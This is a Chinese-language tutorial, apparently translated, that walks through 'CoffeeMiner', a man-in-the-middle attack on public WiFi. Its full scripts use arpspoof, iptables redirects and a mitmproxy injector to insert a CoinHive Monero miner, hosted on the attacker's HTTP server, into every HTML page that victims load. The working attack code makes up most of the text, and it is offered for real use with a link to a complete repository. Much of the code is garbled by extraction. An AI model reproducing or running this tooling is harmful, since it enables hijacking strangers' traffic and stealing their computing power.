如何搭建一个假的星巴克热点并劫持用户电脑进行挖矿(内附完整代
写在前面的话
在几周之前,我看到了FB发布的【这篇文章】,这篇文章讲述了黑客利用咖啡店WiFi网络入侵用户设备并实现挖矿的故事,而我个人也认为这是一种实现挖矿攻击的新方法。
本文的目的是为了给大家介绍如何利用中间人攻击(MitM)来向html页面中注入JavaScript代码,然后强制目标设备连接到恶意WiFi网络并为攻击者挖矿。
接下来,我们会使用一个脚本来执行WiFi网络自动化攻击,我们将其成为CoffeeMiner,因为它可以用来对咖啡店的WiFi网络实施攻击。
一、攻击场景
在本文所要介绍的攻击场景中,需要有多台设备接入到WiFi网络,而CoffeeMiner攻击者需要拦截目标用户与路由器之间的网络通信数据。
1.1 场景配置
在真正的攻击场景中,WiFi路由器通常会连接笔记本电脑以及智能手机。我们在真实场景中进行了测试,并且攻击工具可以正常工作。但是在这篇文章中,我们将详细介绍虚拟环境的搭建与配置。
我们将使用VirtualBox来部署我们的虚拟攻击场景。【VirtualBox】
首先,我们需要下载Linux安装镜像,然后安装到VirtualBox虚拟机中,本文将使用Kali Linux镜像。【Kali】
ISO镜像下载完成之后,我们需要准备三台VBox虚拟机,并安装好Linux系统。这三台虚拟机所扮演的角色如下:
-受害者:连接到路由器并浏览一些网页。
-攻击者:运行CoffeeMiner,并执行中间人攻击。
-路由器/网关:跟普通网关功能一样。
攻击开始后,场景如下所示:
每台虚拟机的配置如下:
受害者
网络适配器:
eth0:Host-only Adapter
/etc/network/interfaces:
auto loiface lo inet loopbackauto eth0iface eth0 inet staticaddress 10.0.2.10netmask 255.255.255.0gateway 10.0.2.15攻击者
网络适配器:
eth0:Host-only Adapter
/etc/network/interfaces:
autoloiface lo inet loopbackauto eth0iface eth0 inet staticaddress 10.0.2.20netmask 255.255.255.0gateway 10.0.2.15路由器/网关
网络适配器:
eth0:Bridged Adaptereth1:Host-only Adapter/etc/network/interfaces:auto loiface lo inet loopbackauto eth0iface eth0 inet dhcpauto eth1iface eth1 inet staticaddress 10.0.2.15netmask 255.255.255.0二、CoffeeMiner介绍2.1 ARP欺骗
为了执行ARP欺骗攻击,我们将使用dsniff库:
arpspoof-i interface -t ipVictim ipGatewayarpspoof-i interface -t ipGateway ipVictim2.2 mitmproxy
mitmproxy这款软件工具可以帮我们分析流经主机的通信数据,并允许我们对流量数据进行编辑修改。而在我们的场景中,我们将用它来向html页面中注入JavaScript代码。为了演示方便,我们将在html页面中注入一行代码,而这行html代码将会调用JS挖矿工具:
<
script src=
"http://httpserverIP:8000/script.js"
>
<
/script>
2.3 代码注入当我们拦截下了目标用户的流量之后,我们需要向其中注入脚本代码,这里我们使用的是mitmproxy API来实现:
from bs4
import
BeautifulSoupfrom mitmproxyimport
ctx, httpimport
argparseclass Injector:def __init__(
self, path)
:self.path=
pathdef response(
self, flow: http.HTTPFlow)
->
None:if
self.path:html=
BeautifulSoup(
flow.response.content,"html.parser"
)
print(
self.path)
print(
flow.response.headers[
"content-type"
]
)
ifflow.response.headers[
"content-type"
]
==
"text/html"
:
script=
html.new_tag(
"script"
,src=
self.path,type=
"application/javascript"
)
html.body.insert(
0, script)
flow.response.content=
str(
html)
.encode(
"utf8"
)
print(
"Scriptinjected."
)
def start(
)
:parser=
argparse.ArgumentParser(
)
parser.add_argument(
"path"
,type=
str)
args=
parser.parse_args(
)
return
Injector(
args.path)
2.4 HTTP服务器注入了html代码之后,它将会调用我们的JavaScript挖矿工具。所以接下来,我们需要在HTTP服务器中托管脚本文件。HTTP服务器需要在攻击者端配置,我们这里使用Python的‘http.server’库:
#!/usr/bin/envpython
impor thttp.serverimport
socketserverimport
osPORT=
8000web_dir=
os.path.join(
os.path.dirname(
__file__)
,"miner_script"
)
os.chdir(
web_dir)
Handler=
http.server.SimpleHTTPRequestHandlerhttpd=
socketserver.TCPServer((
""
, PORT)
, Handler)
print(
"servingat port"
, PORT)
httpd.serve_forever(
)
上述代码可以迅速搭建一台简单的HTTP服务器,并负责向目标用户发送我们的JS挖矿工具。JavaScript脚本存放在/miner_script目录中,本文将使用CoinHive作为JavaScript挖矿工具。
2.5 CoinHive
CoinHive是一种专门挖门罗币(Monero)的JavaScript挖矿工具,它可以直接注入到网站之中,并利用目标设备的CPU算力来挖门罗币(基于CryptoNote协议)。
在我们的实验场景中,我们会将挖矿代码注入到目标用户所请求的每一个HTML页面之中,然后建立持久性的会话并计算哈希(挖门罗币)。
三、脚本代码整合
首先,我们需要配置ip_forwarding和IPTABLES,并将攻击者的设备打造成代理:
echo
1>
/proc/sys/net/ipv4/ip_forwardiptables-t nat -A POSTROUTING -o eth0 -j MASQUERADEiptables-t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080为了执行ARP欺骗攻击,我们需要准备一份“victims.txt”文件并存储所有的目标用户IP地址。下列Python代码可以帮我们完成IP地址的读取任务:
# get gateway_ip
gateway=
sys.argv[
1]
print(
"gateway:"
+ gateway)
# getvictims_ip
victims=
[
line.rstrip(
"\n"
)
for
linein
open(
"victims.txt"
)
]
print(
"victims:"
)
print(
victims)
# runthe arpspoof for each victim, each one in a new console
for
victimin
victims:os.system(
"xterm -e arpspoof -i eth0 -t "
+ victim +""
+ gateway +" &"
)
os.system(
"xterm -e arpspoof -i eth0-t "
+ gateway +" "
+ victim +" &"
)
ARP欺骗攻击开始后,我们还需要运行HTTP服务器:
>
python3 httpServer.py现在我们就可以用injector.py来运行mitmproxy了:
>
mitmdump -s"injector.py http://httpserverIP:8000/script.js"
3.1 CoffeeMiner+最终的脚本代码‘coffeeMiner.py’完整的脚本代码如下:
import
osimport
sys#get gateway_ip (router)
gateway=
sys.argv[
1]
print(
"gateway:"
+ gateway)
# get victims_ip
victims=
[
line.rstrip(
"\n"
)
for
linein
open(
"victims.txt"
)
]
print(
"victims:"
)
print(
victims)
#configure routing (IPTABLES)
os.system(
"echo1 > /proc/sys/net/ipv4/ip_forward"
)
os.system(
"iptables-t nat -A POSTROUTING -o eth0 -j MASQUERADE"
)
os.system(
"iptables-t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port8080"
)
os.system(
"iptables-t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port8080"
)
# runthe arpspoof for each victim, each one in a new console
for
victimin
victims:os.system(
"xterm -e arpspoof -i eth0-t "
+ victim +" "
+ gateway +" &"
)
os.system(
"xterm -e arpspoof -i eth0-t "
+ gateway +" "
+ victim +" &"
)
#start the http server for serving the script.js, in a new console
os.system(
"xterm-hold -e "python3 httpServer.py" &"
)
#start the mitmproxy
os.system(
"~/.local/bin/mitmdump-s "injector.py http://10.0.2.20:8000/script.js" -T"
)
‘injector.py’脚本代码如下:
from bs4
import
BeautifulSoupfrom mitmproxyimport
ctx, httpimport
argparseclass Injector:def __init__(
self, path)
:self.path=
pathdef response(
self, flow: http.HTTPFlow)
->
None:if
self.path:html=
BeautifulSoup(
flow.response.content,"html.parser"
)
print(
self.path)
print(
flow.response.headers[
"content-type"
]
)
ifflow.response.headers[
"content-type"
]
==
"text/html"
:
print(
flow.response.headers[
"content-type"
]
)
script=
html.new_tag(
"script"
,src=
self.path,type=
"application/javascript"
)
html.body.insert(
0, script)
flow.response.content=
str(
html)
.encode(
"utf8"
)
print(
"Scriptinjected."
)
def start(
)
:parser=
argparse.ArgumentParser(
)
parser.add_argument(
"path"
,type=
str)
args=
parser.parse_args(
)
return
Injector(
args.path)
脚本的运行命令如下:
>
python3 coffeeMiner.py RouterIP四、攻击演示如果我们想要手动实现攻击的话,我们需要按照下图进行配置:
接下来,当ARP欺骗攻击完成之后(并且HTTP服务器和注入代码随时待命),我们就需要让目标用户的设备去浏览一个网页,而目标用户的流量经过攻击者设备时,便会触发代码注入:
此时,当目标用户浏览这个HTML页面时,攻击者所注入的代码将会被运行。
4.1 演示视频
在下面的视频中,我们将演示如何使用coffeeMiner.py脚本来实施完整的攻击。
VirtualBoxDemo:
视频地址:http://www.youtube.com/watch?v=wmYJ6Z4LoCA
WiFi网络以及笔记本电脑Demo:
视频地址:http://www.youtube.com/watch?v=-TnzGLUD0DU
总结
正如本文所介绍的那样,攻击者可以轻松地对一个WiFi网络进行自动化攻击,并且还可以通过WiFi网络来让受害者的计算设备帮助自己进行挖矿。在真实的攻击场景中,如果配合高功率WiFi天线的话,攻击的覆盖范围可能还会更大。
本文中完整的项目代码可以从我们的GitHub代码库中获取,点击阅读原文获取GitHub链接!
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